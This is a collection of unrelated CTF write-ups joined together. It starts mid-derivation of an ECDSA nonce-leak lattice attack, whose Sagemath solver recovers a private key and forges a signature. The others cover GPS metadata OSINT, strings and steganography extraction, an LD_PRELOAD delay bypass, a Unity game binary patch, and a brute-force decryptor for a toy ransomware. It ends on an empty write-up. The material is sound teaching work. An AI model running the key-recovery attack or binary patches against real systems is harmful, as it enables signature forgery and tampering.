$0 = b_i - r_0^{-1} r_i s_0 s_i^{-1} b_0 + 2^{-7} (a_i - s_i^{-1} h_i - r_0^{-1} r_i s_0 s_i^{-1} a_0 + r_0^{-1} r_i s_i^{-1} h_0) \mod n$
We move everything except the $b_i$ to the other site...
$b_i = r_0^{-1} r_i s_0 s_i^{-1} b_0 - 2^{-7} (a_i - s_i^{-1} h_i - r_0^{-1} r_i s_0 s_i^{-1} a_0 + r_0^{-1} r_i s_i^{-1} h_0) \mod n$
... and bracket common terms.
$b_i = r_0^{-1} r_i s_0 s_i^{-1} b_0 - 2^{-7} (a_i - s_i^{-1} (h_i + r_0^{-1} r_i (s_0 a_0 - h_0))) \mod n$
To ease the writing, we define
$A_i = r_0^{-1} r_i s_0 s_i^{-1}$ and $B_i = 2^{-7} (a_i - s_i^{-1} (h_i + r_0^{-1} r_i (s_0 a_0 - h_0)))$.
So our equations are
$$b_i = A_i b_0 + B_i \mod n.$$
But there are still 200 unknowns but only 199 equations. The paper by De Micheli and Henninger tells us that we can construct a lattice from these equations. A basis of this lattice is represented by the following $(201 \times 201)$ matrix:
``` | n | | n | | ... |L = | n | | A_1 A_2 ... A_199 1 | | B_1 B_2 ... B_199 K |```
Basicall, $L$ is a matrix with $n$ on its diagonal. Additionally, the vectors $(A_1, A_2, \cdots, A_{199}, 1, 0)$ and $(B_1, B_2, \cdots, B_{199}, 0, K)$ form the second last and last row respectively. The collumns of $L$ form the vectors of a basis. It is important that the vector $Y = (b_1, \dots, b_{199}, b_0, K)$ is a point on the lattice. That is the case here because $X\cdot L = Y$ with $X=(x_1, x_2, \dots, x_{199}, b_0, 1)$ for some integer values $x_i$ that hide themselves behind the "$\bmod n$".
The value $K$ is chosen as the smalles value that is still guaranteed to be bigger than each $b_i$. We know that the $b_i$ are smaller than $n$ since everything is computes modulo $n$. For this challenge, $n$ is a 256 bit integer. We further know that the $b_i$ are integers with at most $256-7 = 249$ bits since they are still smaller than $n$ after multiplying them by $2^7$ and adding $a_i$. This is why we choose $K = 2^{256-7+1} = 2^{250}$ and know that $K > b_i$ holds for all $0 \leq i \leq 199$.
Each entry of a vector of the lattice $L$ is expected to be of similar bit size as $n$. With all entries being roughly the same size, this means that most vectors are about the same length. On the other hand, we know that vector $Y$ is part of the lattice. But since all entries of $Y$ are bounded by $K$, which is much smaller than $n$, this means that $Y$ is way shorter than most vectors in the lattice. This is something we can exploit!
The [LLL algorithm](https://en.wikipedia.org/wiki/Lenstra%E2%80%93Lenstra%E2%80%93Lov%C3%A1sz_lattice_basis_reduction_algorithm), similar to the [Gram-Schmidt process](https://en.wikipedia.org/wiki/Gram%E2%80%93Schmidt_process) for vector spaces, finds a "good" basis. A basis is considered to be "good" if its vectors are as short and pairwise as orthogonal as possible. Since our vector $Y$ is very short, it is part of a "good" basis with high probability. Actually, chances are high that $Y$ is the shortest vector in the lattice.
We can find the basis vector with the unknown $b_i$ by searching for the value $K$ in the last entry. If the LLL algorithm finds a basis with a vector where the last entry is $K$, we get $b_0$ from the second last entry. Together with $a_0$, which we are given, we can then compute $k_0 = 2^7 b_0 + a_0$. This then allows us to solve for $d = (s_0 \cdot k_0 - h_0) \cdot r_0^{-1} \bmod n$. We can verify that $d$ is actually correct by verifying some of the remaining given signatures.
If the secret key $d$ is correct, we can go ahead and sign the given message and send it to the server, which will provide us with the flag.
We implemented our solution in Sagemath. Sagemath supports modular arithmetics and implements the LLL algorithm. So the only steps left for us is to enter the matrix $L$ correctly and craft a valid signature. Our code is given at the end. You can run it with `ncat`. Here is an example output:```$ ncat -c "sage solve.sage" IP PORT[+] Computed 199 coefficients.[+] Constructing lattice...[+] Performing base reduction...[+] Key candidate found![+] Candidate verifies correctly![+] Crafting signature...[+] Getting flag...Welcome to the SteamShake transplant clinic where our mission is to deliver the most vintage and high tech arms worldwide.Please use your signature to verify and confirm your appointment.Estimated waiting for next appointment: 14 months> {"pt": "william;yarmouth;22-11-2021;09:00", "r": "92da2be8475d17bb8d0a79e271c59dd55b392de7c85d6127748fd56bf392bb2f", "s": "488625aaaad30d5b9af3cd4924d49558d8d8928eb62a62a1013ca5aa39a23ae7"}Your appointment has been confirmed, congratulations!Here is your flag: HTB{t3ll_m3_y0ur_s3cr37_w17h0u7_t3ll1n9_m3_y0ur_s3cr37_15bf7w}```
Sagemath code:```pythonimport sysimport csvimport jsonimport challenge
DEBUG=Truedef dbg(line, force=False, end='\n'): if DEBUG or force: print(line, flush=True, file=sys.stderr, end=end) pass pass
def prnt(line, force=False): dbg(line, force=force) print(line, flush=True) pass
def inp(lines=1, chars=0, force=False): line = '' for _ in range(lines): line = input() dbg(line, force=force) if chars > 0: dbg(sys.stdin.read(chars), force=force, end='') return line
def hash_msg(msg, n): from hashlib import sha1 h = sha1(msg).digest() h = int.from_bytes(h, 'big') h = bin(h)[2:] h = int(h[:len(bin(n)[2:])], 2) return h
def inverse(x, n): return int(pow(x, -1, n))
def ppow(x, e, n): return int(pow(x, e, n))
def sign(dsa, msg): from random import randint h = hash_msg(msg, dsa.n) k = randint(1, dsa.n-1) r = pow(dsa.g, k, dsa.n) s = (pow(k, -1, dsa.n) * (h + dsa.key * r)) % dsa.n lsb = k % (2 ** 7) return {"h": hex(h)[2:], "r": hex(r)[2:], "s": hex(s)[2:], "lsb": bin(lsb)[2:] }
def verify_h(dsa, h, r, s): c = inverse(s, dsa.n) k = (c * (h + dsa.key * r)) % dsa.n return r == pow(dsa.g, k, dsa.n)
def verify_m(dsa, m, r, s): h = hash_msg(m, dsa.n) return verify_h(dsa, h, r, s)
if __name__ == '__main__': dsa = challenge.ECDSA() msg = b'william;yarmouth;22-11-2021;09:00' sig_r = 1 sig_s = 0 known_bits = 7
mm = list() hrsa = list() # Read provided information with open('appointments.txt', 'r') as csvf: csvr = csv.reader(csvf) header = next(csvr) for row in csvr: mm.append(row[0].encode('utf8')) pass pass with open('signatures.txt', 'r') as csvf: csvr = csv.reader(csvf, delimiter=';') header = next(csvr) for h, r, s, a in csvr: hrsa.append( (int(h,16), int(r,16), int(s,16), int(a,2)) ) pass pass # Compute coeffs bigB = 2**(len(bin(dsa.n)[2:]) - known_bits + 1) # Upper bound for all bi AA = list() BB = list() Fn = GF(dsa.n) h0, r0, s0, a0 = [Fn(x) for x in hrsa[0]] for i, (hi, ri, si, ai) in enumerate(hrsa): if i == 0: continue hi, ri, si, ai = Fn(hi), Fn(ri), Fn(si), Fn(ai) Ai = ri * si^-1 * r0^-1 * s0 Bi = -1 * Fn(2)^-known_bits * (ai - si^-1 * (hi + r0^-1 * ri * (s0 * a0 - h0))) AA.append(Ai.lift()) BB.append(Bi.lift()) pass dbg(f"[+] Computed {len(AA)} coefficients.\n[+] Constructing lattice...")
# Construct lattice size = len(AA) MM = Matrix(ZZ, size + 2) for ii in range(size): MM[ii, ii] = dsa.n MM[-2, ii] = AA[ii] MM[-1, ii] = BB[ii] pass MM[-2,-2] = 1 MM[-1,-1] = bigB
# Perform LLL dbg("[+] Performing base reduction...") MB = MM.LLL() # LLL sorts the basis vectors by size if Fn(MB[0, -1]) == Fn(bigB): # so we only check the first basis vector k0 = Fn(2)**known_bits * MB[0, -2] + a0 dsa.key = ((s0 * k0 - h0) * r0^-1).lift() dbg('[+] Key candidate found!') pass else: dbg('[!] No candidate found :(') sys.exit() # Verify a signature to know that the key candidate is correct m1 = mm[1] _, r1, s1, a1 = hrsa[1] if verify_m(dsa, m1, r1, s1): wohoo = True dbg(f'[+] Candidate verifies correctly!') pass else: dbg("[!] Key candidate was not the key :(") sys.exit()
# Craft signature for message dbg(f"[+] Crafting signature...") dic = sign(dsa, msg)
# Print flag dbg(f"[+] Getting flag...\n") msg2server = json.dumps({'pt': msg.decode('ascii'), 'r': dic['r'], 's': dic['s']}) inp(3, 2) prnt(msg2server) try: inp(2) pass except: pass pass
``` |
# LOST MY HEAD## Description
Oh no! Help! I've lost my head! Can you tell me the street name of the trash bin I lost it in? Maybe I can still find it...
Flag format: TFCCTF{street_name_and_street_number_as_seen_on_google_maps_separated_by_underscores}
## Attachments
img.heic
## Writeup
Upon downloading the image, I checked the image properties (metadata) by online metadata checking [tool](https://www.metadata2go.com/), and found the GPS location, as it said street name and street number as seen on Google Map in the description.
Upon entering the GPS Latitude and Longitude into Google Map (`46°46'50.74"N, 23°36'54.26" E`), we get the [location](https://www.google.com/maps/place/46%C2%B046'50.7%22N+23%C2%B036'54.3%22E/@46.7807611,23.6128835,17z/data=!3m1!4b1!4m5!3m4!1s0x0:0xb2a384aea2227f9f!8m2!3d46.7807611!4d23.6150722), formatting into the flag and we're done!
## Flag`TFCCTF{Simon_Musat_4}` |
# eHaCON CTF 2K21
## forensics/hybrid-tree
>Tree has some secrets inside. Let's find if you can see.> > Author: ircashem> > [`Hybrid-tree`](hybrid-tree)
# Summary
> Basically it is an image forensics i tried steganography,> metadata of the image file but nothing works> Finally opened the file as text and obtained for the strings in the file. Finally got it :)
# Syntax
```root@kali:$ strings hybrid-tree.png```
# Flag
```EHACON{z1p_plu5_1m463}``` |
As you can see from most other writeups, the decompilation for this program looks pretty clean.
```c char v4[8]; // [rsp+28h] [rbp-8h] BYREF
gnat_argc = a1; gnat_argv = (__int64)a2; gnat_envp = (__int64)a3; __gnat_initialize(v4); sub_1D7C(); sub_298A(); sub_1D52(); __gnat_finalize(); return (unsigned int)gnat_exit_status;``````__int64 sub_298A(){ ada__calendar__delays__delay_for(1000000000000000LL); sub_2616(); sub_24AA(); sub_2372(); sub_25E2(); sub_2852(); sub_2886(); sub_28BA(); sub_2922(); sub_23A6(); sub_2136(); sub_2206(); sub_230A(); sub_2206(); sub_257A(); sub_28EE(); sub_240E(); sub_26E6(); sub_2782(); sub_28EE(); sub_2102(); sub_23DA(); sub_226E(); sub_21D2(); sub_2372(); sub_23A6(); sub_21D2(); return sub_2956(); }```After looking for awhile, it's rather straightforward that we are looking at an ada program and in `sub_298A()`, there is a `1000000000000000` second delay before it prints individual letters of our flag in the subsequent function calls.
Many people who did the challenge or wrote writeups manually went through each function to obtain the characters individually. I had a different take on it.
After figuring out that the flag will be printed after the delay, I decided to get rid of the delay by hacking the delay (library hijacking or LD_PRELOAD as some may call it)
Essentially, I wrote a small c shared library with the delay function, except that it does nothing.
```# hacksleep.cint ada__calendar__delays__delay_for(int a) { return 1;}```
And then I will compile with `gcc -shared -fPIC hacksleep.c -o hacksleep.o`
Running `LD_PRELOAD="./hacksleep.o" ./svchost.exe` gave me the flag.
Do we stop here? Technically yes, but the flag mentioned disassembly... let's try this the GDB way :)
Doing an `entry-break` in gef lands me at the first instruction, unfortunately we can't simply `break *main` as we do not know where main is.
Let's figure where main is using `__libc_start_main`. After stepping a few times with `ni`, we quickly find ourself in `__libc_start_main+0`
Something we should know about `__libc_start_main` is the arguments that it takes
> int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end));[see here](https://refspecs.linuxbase.org/LSB_3.1.0/LSB-Core-generic/LSB-Core-generic/baselib---libc-start-main-.html)
The first argument if `__libc_start_main` is the address of `main` function itself, which will be inside `RDI` since `RDI` contains the first argument to our `__libc_start_main` function. (_see [calling conventions](https://caprinux.github.io/lawofpwn/innerworkings/how_does_assembly_work#calling-conventions)_)
```gef➤ print $rdi$2 = 0x555555401fcc```
We can then break at the address with `break *$rdi` and `continue`
After stepping a few time, we find the function with `ada__calendar__delays__delay_for@plt`
We will then step into the function with `si` and keep stepping until our `rip` is on the instruction that it calls `ada__calendar__delays__delay_for`.
Here's where we can hack it, we can simply set our `rip` to the next instruction, skipping the call to delay entirely.
In my case, I will do `set $pc=0x55555540299d`, and then `continue`
Hope that gave you a fresh perspective on debugging and preloading libraries.
|
- [MISC - Watasi Wa...? - Stegano](README.md#watasi-wa)
# [MISC]## Watasi Wa...?Do you know which universe this historical figure belongs to?
### Solution part 1/3:We are presented with the image *Anime.jpg*. After inspecting the image in its hex representation and reading about .jpg file format we will see there is more in the file. So first thing let's cut out the first image until it's ending tag `FF D9`. This is a 72123 bytes 400x350 image. One of the many tests to find interesting stegano stuff is to see if there are hidden pixels. To be quick we can use https://fotoforensics.com/ and in fact there are some. Let's change the image size in 400x400 so after the `FF C0` marker we change `01 5E 01 90` into `01 90 01 90`. By opening the image we get: `0K1TA-SAN`.
### Solution part 2/3:Reopening the original and modified file we now see at the beginning 4 null-bytes which seem to be placeholders for **PKZIP** since the next bytes look much like a .zip file. So we replace them with `50 4B 03 04` and run `zip -FF Anime.jpg --out anime2.zip`. The zip's password isn't found in *rockyou.txt* nor in *crackstation.lst*. Removing the 242 bytes zip block we are left with a beginning 10 null bytes and trailing `FF D9`~~ISITDTU{Flag_N0t_h3re!!!}~~ . Assuming it's another jpg file, we replace the 10 bytes placeholder with `FF D8 FF E0 00 10 4A 46 49 46`. We get a working jpg file.
### Solution part 3/3:In CTFs when you have a password and a JPEG, BMP, WAV or AU file, maybe `steghide` has been used. This check confirms it:```$ stegseek --seed anime3.jpg StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Found (possible) seed: "811b8ba2" Plain size: 35.0 Byte(s) (compressed) Encryption Algorithm: rijndael-128 Encryption Mode: cbc```Let's continue and we get the flag:```$ steghide extract -v --stegofile anime3.jpg --passphrase 0K1TA-SANreading stego file "anime3.jpg"... doneextracting data... donechecking crc32 checksum... okwriting extracted data to "S3cr3t.txt"... done$$ cat S3cr3t.txt FG0!!!$$ 7z e -p'FG0!!!' anime2.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,8 CPUs Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz (806EC),ASM,AES-NI)Scanning the drive for archives:1 file, 242 bytes (1 KiB)Extracting archive: anime2.zip--Path = anime2.zipType = zipPhysical Size = 242Everything is OkSize: 24Compressed: 242$$ cat flag.txt ISITDTU{St3g0_15_Fun!!!}``` |
> Collect green stuff, avoid red guys. Easy as pie, right? Not even your speedhacks will help you here! You might have to take a closer look and inspect it carefully. Have fun & good luck!
This challenge is a game, according to its description. Since I gave up on the challenge I was trying to do (NOdeBANKing), I went to help other teammates blocked on this challenge.
This game was using Unity3D as engine, where game logic is usually written in C# or other language that compiles to MSIL. So let's find the GameAssembly.dll, but no luck it's a native DLL and not a managed one... After opening it in IDA Free, I noticed "il2cpp_" references, and after some googling, figured out it was a tool that compile MSIL code to native x86 code.
I first thought that the game "logic" could actually be embedded in resources (the "data.unity3d" file in CSRunner_Data), but I failed to find a tool able to open the new UnityFS format, all I got was weird lz4 invalid stream issues coming from nowhere.
So, I looked for a tool able to reconstruct metadata of the "original" assembly, and finally came across [Il2CppDumper](https://github.com/Perfare/Il2CppDumper), which even comes with an IDAPython script to rename funcs and add types in IDA Pro. I used that tool to generate "dummy" assemblies that could be opened in dnSpy, even if there was no MSIL code in the assemblies, but it's a good starting point to understand the class structure.
And the tool also comes with IDAPython scripts to rename il2cpp-converted functions, which I could use since I managed to compile IDAPython and make it run on my IDA Free 7.6. I first explored Game methods, which only seemed to print debug messages stuff even if `PickupHit` and `PickupMiss` methods looked promising.
But there was another class with interesting name, `DieOnCollision`, which seemed to handle collisions, I looked at the `DieOnCollision$$OnCollisionEnter` and saw this:
```cpp tag = UnityEngine_GameObject__get_tag(gameObject, 0i64); if ( System_String__op_Equality(tag, StringLiteral_4306, 0i64) ) { if ( !byte_180A0BB4F ) { sub_1801292D0(5488i64); byte_180A0BB4F = 1; } instance = Game_TypeInfo->static_fields->instance; if ( instance ) { v9 = DieOnCollision_TypeInfo; if ( (DieOnCollision_TypeInfo->_2.bitflags2 & 2) != 0 && !DieOnCollision_TypeInfo->_2.cctor_finished ) { il2cpp_runtime_class_init(DieOnCollision_TypeInfo, v7); v9 = DieOnCollision_TypeInfo; } PHRASES_ENEMY = v9->static_fields->PHRASES_ENEMY; if ( PHRASES_ENEMY ) { v11 = UnityEngine_Random__RandomRangeInt(0, PHRASES_ENEMY->max_length, 0i64); v12 = v11; if ( (unsigned int)v11 >= LODWORD(PHRASES_ENEMY->max_length) ) { v32 = sub_180129250(); sub_1801293E0(v32, 0i64); } LABEL_15: Game__GameOver(instance, PHRASES_ENEMY->m_Items[v12], 0i64); return; } goto LABEL_50; } }```
So I just had to force the `if ( System_String__op_Equality(tag, StringLiteral_4306, 0i64) )` condition to be always false (patching the `jz loc_1806E612D` at `0x1806e6078` to a jmp), and colliding with enemies would do nothing.
Then I gave the modified assembly to our team's pro gamer (since I run Linux, and couldn't manage to get the tool mentioned before on `GameAssembly.so` of the Linux version), which was able to get the flag in two game tries.
Author: [supersnail](https://github.com/aaSSfxxx) |
**Description**: Someone hacked my OT network and dropped a ransomware! plz h3lp me recover this encrypted file!
**Points**: 300
**Downloadable**:ransomware.exe - Ransomware PE32 binaryimportant.intent.enc - encrypted file
**Goal**: This is a typical "decrypt my ransomware" challenge. We have an encrypted file and a binary encryptor. We must find vulnerability or weakness in encryption implementation, and decrypt the file containing the flag.
**Solution**:
First, we open ransomware.exe in Ghidra. After making some sense of a code flow we can notice a few things:
1. First some long string is concatenated by using sprintf2. This string is passed to the function that seems to perform an SHA-1 checksum of it (it calls `CryptCreateHash(local_c,CALG_SHA1,0,0,&local_8);` ). We call it MAL_Hash_Key.3. SHA-1 hash is passed to the function performing encryption (it calls CryptImportKey and CryptEncrypt). We call it MAL_Encryption.
[Code flow](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/RE/Scadomware/writeupmalware_encryption_function.PNG)
Our first task is to find a symmetric encryption key. By looking at sprintf declaration, we can see it consists of 5 parts:
`sprintf((char *)MAL_key,"%s%s%08x%d---%d",MAL_str_RabbitHole,"0mgisthebestg",MAL_hex_value,_Size, MAL_last_bytes);`
1. MAL_str_RabbitHole is a hardcoded string: YouTakeTheRedPillYouStayInWonderlandAndIShowYouHowDeepTheRabbitHoleGoes2. Another hardcoded string: 0mgisthebestg3. MAL_hex_value seems to be a random hex value based on the size of the original file `srand(_Size)`4. Is the size of the original encrypted file5. Is a most mysterious one, if we look at where it comes from, we will see it is a result of some function enumerating local network interfaces.
So how do we find our key? When dealing with such a challenge, it is always good to make a simple test file, that we can encrypt and follow the encryption process along in the debugger. Since this "ransomware" is only encrypting files with extension .intent (security reasons I assume) we will create a file test.intent with a very simple content: test
[Test file](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/RE/Scadomware/writeuptest.PNG)
Now we can launch our encryptor in the debugger and follow along. The first thing we will notice after a call to sprintf is our encryption key:
[Encryption key](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/RE/Scadomware/writeupencryption_key.png)
As expected, we can see there is original file size, some random hex, and number 211 that has something to do with local interfaces.
But how we can recover these values for the originally encrypted file with a flag. Fortunately, our ransomware simply adds these values to the encrypted file:
[Encrypted test file](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/RE/Scadomware/writeupencrypted_file.png)
**Careful, this is in little-endian notation**, so our values for the original file will be as follows:
[Encrypted original file](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/RE/Scadomware/writeupencrypted_file_org.png)
MAL_hex_value = 5642f126Size = 0x1a5d = 6749
What about the last number?
After some research we can find out that this number is a sum of bytes for our network interface:
[NIC bytes checksum](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/RE/Scadomware/writeupnic_bytes.png)
Unfortunately, this value doesn't seem to be stored anywhere by the ransomware binary. The good news is that MAC addresses are 6 bytes long, so that gives us only 0xff * 6 = 1530 different combinations to try. So this should be easily bruteforcable.
Before we create our bruteforce decryptor, we need a little bit more information. CryptImportKey() function takes a `BLOBHEADER structure (wincrypt.h)` as an input. This BLOB structure should normally be the output of the CryptExportKey function but in this case, it is just created directly in the memory. Structure definition can be found in wincrypt.h and here:
[BLOBHEADER structure](https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/ns-wincrypt-publickeystruc)
We could try to recreate the correct structure, or we can take an easy way out and just copy it from the memory of the decryptor. We just need a breakpoint on our CryptImportKey function call:
[Blob in memory](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/RE/Scadomware/writeupblob.png)
We can check that our SHA-1 for the test file key is indeed correct:
`sha1(YouTakeTheRedPillYouStayInWonderlandAndIShowYouHowDeepTheRabbitHoleGoes0mgisthebestg004010ba4---211) = ffb057dda0de2f9c59ddd0030a89e097db6f7851`
One more thing we need for our decryption is the IV value. Lucky for us this is just hardcoded in the encryptor:
`lstrcpyA((LPSTR)&MAL_IV,"0010000300003007");`
Having all this information, we can write a decryptor that will bruteforce 1530 key combinations and try to find our flag.
Full code for decryptor is in file `IntentCTF2021_decrypt.cpp` and below this write-up.
Once we compile it and execute it with our originally encrypted file as a parameter, we will have our flag:
[Flag](https://github.com/lasq88/CTF/tree/main/Intent%20CTF%202021/RE/Scadomware/writeupflag.png)
```c// Decrypting_a_File.cpp : Defines the entry point for the console // application.//
#include <tchar.h>#include <stdio.h>#include <windows.h>#include <wincrypt.h>#include <conio.h>
// Link with the Advapi32.lib file.#pragma comment (lib, "advapi32")#pragma warning(disable : 4996)#pragma warning(disable : 4838)#pragma warning(disable : 4309)
#define KEYLENGTH 0x00800000#define ENCRYPT_ALGORITHM CALG_SHA_256 #define ENCRYPT_BLOCK_SIZE 16
bool MyDecryptFile(LPTSTR szSource);
void MyHandleError( const wchar_t* psz, int nErrorNumber);
void EndianSwap(unsigned int& x);
int _tmain(int argc, _TCHAR* argv[]){ if (argc < 2) { _tprintf(TEXT("Usage: <example.exe> <source file> ")); _tprintf(TEXT("<password> is optional.\n")); _tprintf(TEXT("Press any key to exit.")); _gettch(); return 1; }
LPTSTR pszSource = argv[1];
//--------------------------------------------------------------- // Call EncryptFile to do the actual encryption. if (MyDecryptFile(pszSource)) { //_tprintf(TEXT("Decryption of the file %s was successful. \n"),pszSource); } else { MyHandleError( TEXT("Error decrypting file!\n"), GetLastError()); }
return 0;}
//-------------------------------------------------------------------// Code for the function MyDecryptFile called by main.//-------------------------------------------------------------------// Parameters passed are:// pszSource, the name of the input file, an encrypted file.bool MyDecryptFile(LPTSTR pszSourceFile){ //--------------------------------------------------------------- // Declare and initialize local variables. DWORD dwKeyBlobLen = 48; BYTE blobdata_1[12] = { 0x08, 0x02, 0x00, 0x00, 0x10, 0x66, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00 }; BYTE blobdata_2[16] = { 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, 0xC0, 0xC1, 0xC2, 0xC3, 0xC4, 0x00, 0x00, 0x00, 0x00 }; BYTE blob[48] = { 0 }; BYTE myIV[] = { 0x30, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x33, 0x30, 0x30, 0x30, 0x30, 0x33, 0x30, 0x30, 0x37 }; bool fReturn = false; bool fEOF = false; HANDLE hSourceFile = INVALID_HANDLE_VALUE; LARGE_INTEGER filesize; HCRYPTKEY hKey = NULL; HCRYPTHASH hHash = NULL; HCRYPTPROV hCryptProv = NULL; DWORD dwHashLen; DWORD dwHashLenSize = sizeof(DWORD); BYTE* pbHash;
DWORD dwCount; PBYTE pbBuffer = NULL; PBYTE pbTempBuffer = NULL; DWORD dwBlockLen; DWORD dwBufferLen; PBYTE pbEndOfLine;
char flag[7] = {0}; unsigned int * pbOrgSize[4]; unsigned int * pbHexNum[4];
dwBlockLen = ENCRYPT_BLOCK_SIZE * 4; dwBufferLen = dwBlockLen;
//--------------------------------------------------------------- // Open the source file. hSourceFile = CreateFile( pszSourceFile, FILE_READ_DATA, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (INVALID_HANDLE_VALUE != hSourceFile) { //_tprintf(TEXT("The source encrypted file, %s, is open. \n"),pszSourceFile); // Get File size if (!GetFileSizeEx(hSourceFile, &filesize)) { CloseHandle(hSourceFile); MyHandleError( TEXT("Error calculating file size!\n"), GetLastError()); return false; } } else { MyHandleError( TEXT("Error opening source plaintext file!\n"), GetLastError()); return false; }
// Read flag from source file
if (!ReadFile( hSourceFile, flag, 6, &dwCount, NULL)) { MyHandleError( TEXT("Error reading from source file!\n"), GetLastError()); CloseHandle(hSourceFile); return false; }
// Read original file size from source file
if (!ReadFile( hSourceFile, pbOrgSize, 4, &dwCount, NULL)) { MyHandleError( TEXT("Error reading from source file!\n"), GetLastError()); CloseHandle(hSourceFile); return false; }
// Read hex number size from source file
if (!ReadFile( hSourceFile, pbHexNum, 4, &dwCount, NULL)) { MyHandleError( TEXT("Error reading from source file!\n"), GetLastError()); CloseHandle(hSourceFile); return false; }
// Allocate memory for the file read buffer. if (!(pbBuffer = (PBYTE)malloc(filesize.QuadPart - 14))) { CloseHandle(hSourceFile); MyHandleError(TEXT("Out of memory!\n"), E_OUTOFMEMORY); return false; }
if (!(pbTempBuffer = (PBYTE)malloc(filesize.QuadPart - 14))) { CloseHandle(hSourceFile); MyHandleError(TEXT("Out of memory!\n"), E_OUTOFMEMORY); return false; }
//Read the encrypted data
if (!ReadFile( hSourceFile, pbBuffer, filesize.QuadPart - 14, &dwCount, NULL)) { MyHandleError( TEXT("Error reading from source file!\n"), GetLastError()); CloseHandle(hSourceFile); return false; }
//--------------------------------------------------------------- // Get the handle to the default provider. if (CryptAcquireContext( &hCryptProv, NULL, MS_ENH_RSA_AES_PROV, PROV_RSA_AES, 4026531840)) { //_tprintf(TEXT("A cryptographic provider has been acquired. \n")); } else { MyHandleError( TEXT("Error during CryptAcquireContext!\n"), GetLastError()); //goto Exit_MyDecryptFile; return false; }
for (int i = 0; i < 0xFF * 6; i++) { char keyString[120] = ""; //-------------------------------------------------------------------- // Create a hash. if (CryptCreateHash( hCryptProv, CALG_SHA1, 0, 0, &hHash)) { //printf("An empty hash object has been created. \n"); } else { MyHandleError(TEXT("Error during CryptCreateHash."), GetLastError()); return false; }
snprintf(keyString, 120, "YouTakeTheRedPillYouStayInWonderlandAndIShowYouHowDeepTheRabbitHoleGoes0mgisthebestg%08x%d---%d", *pbHexNum, *pbOrgSize, i); //printf("%s\n", keyString);
//-------------------------------------------------------------------- // Compute SHA-1 from the string. if (CryptHashData( hHash, (BYTE*)keyString, strlen(keyString), 0)) { //printf("Data has been hashed. \n"); } else { MyHandleError(TEXT("Error during CryptCreateHash."), GetLastError()); return false; }
// Get hash size
if (CryptGetHashParam( hHash, HP_HASHSIZE, (BYTE*)&dwHashLen, &dwHashLenSize, 0)) { // It worked. Do nothing. } else { MyHandleError(TEXT("CryptGetHashParam failed to get size."), GetLastError()); return false; }
// initialize memory
if (pbHash = (BYTE*)malloc(dwHashLen)) { // It worked. Do nothing. } else { MyHandleError(TEXT("Out of memory!\n"), E_OUTOFMEMORY); return false; }
// Get the hash value
if (CryptGetHashParam( hHash, HP_HASHVAL, pbHash, &dwHashLen, 0)) { // create blob memcpy(blob,blobdata_1,sizeof(blobdata_1)); memcpy(blob + sizeof(blobdata_1), pbHash, dwHashLen); memcpy(blob + sizeof(blobdata_1) + dwHashLen, blobdata_2, sizeof(blobdata_2));
/*Print the blob. for (int j = 0; j < sizeof(blob); j++) { printf("%02x ", blob[j]); } printf("\n");*/ } else { MyHandleError(TEXT("Error during CryptGetHashParam."), GetLastError()); return false; }
// Import the key BLOB into the CSP. if (!CryptImportKey( hCryptProv, blob, dwKeyBlobLen, 0, 0, &hKey)) { MyHandleError( TEXT("Error during CryptImportKey!/n"), GetLastError()); return false; }
if (!CryptSetKeyParam( hKey, KP_IV, myIV, 0)) { MyHandleError( TEXT("Error during CryptSetKeyParam!/n"), GetLastError()); return false; }
dwCount = dwBlockLen; //printf("dwCount: %d\n",dwCount);
memcpy(pbTempBuffer, pbBuffer, filesize.QuadPart - 14); /*printf("first bytes: "); for (int j = 0; j < 50; j++) { printf("%02x ", pbTempBuffer[j]); } printf("\n");*/
//----------------------------------------------------------- // Decrypt the block of data. if (CryptDecrypt( hKey, 0, false, 0, pbTempBuffer, &dwCount)) { if (memcmp(flag, pbTempBuffer, 6) == 0) { printf("Congratz, you found a flag!\n"); pbEndOfLine = (BYTE*)memchr(pbTempBuffer, 10, filesize.QuadPart); printf("%.*s\n", pbEndOfLine - pbTempBuffer, pbTempBuffer); break; } } else { MyHandleError( TEXT("Error during CryptDecrypt!\n"), GetLastError()); return false; } }
return true;}
//-------------------------------------------------------------------// This example uses the function MyHandleError, a simple error// handling function, to print an error message to the // standard error (stderr) file and exit the program. // For most applications, replace this function with one // that does more extensive error reporting.
void MyHandleError(const wchar_t* psz, int nErrorNumber){ _ftprintf(stderr, TEXT("An error occurred in the program. \n")); _ftprintf(stderr, TEXT("%s\n"), psz); _ftprintf(stderr, TEXT("Error number %x.\n"), nErrorNumber);}``` |
# \[Crypto\] - Result
#### Points = 100
## Prompt
I really want to know my test result, but unfortunately its additionally protected. I attached the email. Maybe you can help?
Author
rugo|RedRocket
#### Hints\[None\]
## Provided Files[files](../../files/cybersecurityrumble/result) - link to files
- result.tar.gz - a tarball with an email inside.
## Write Up
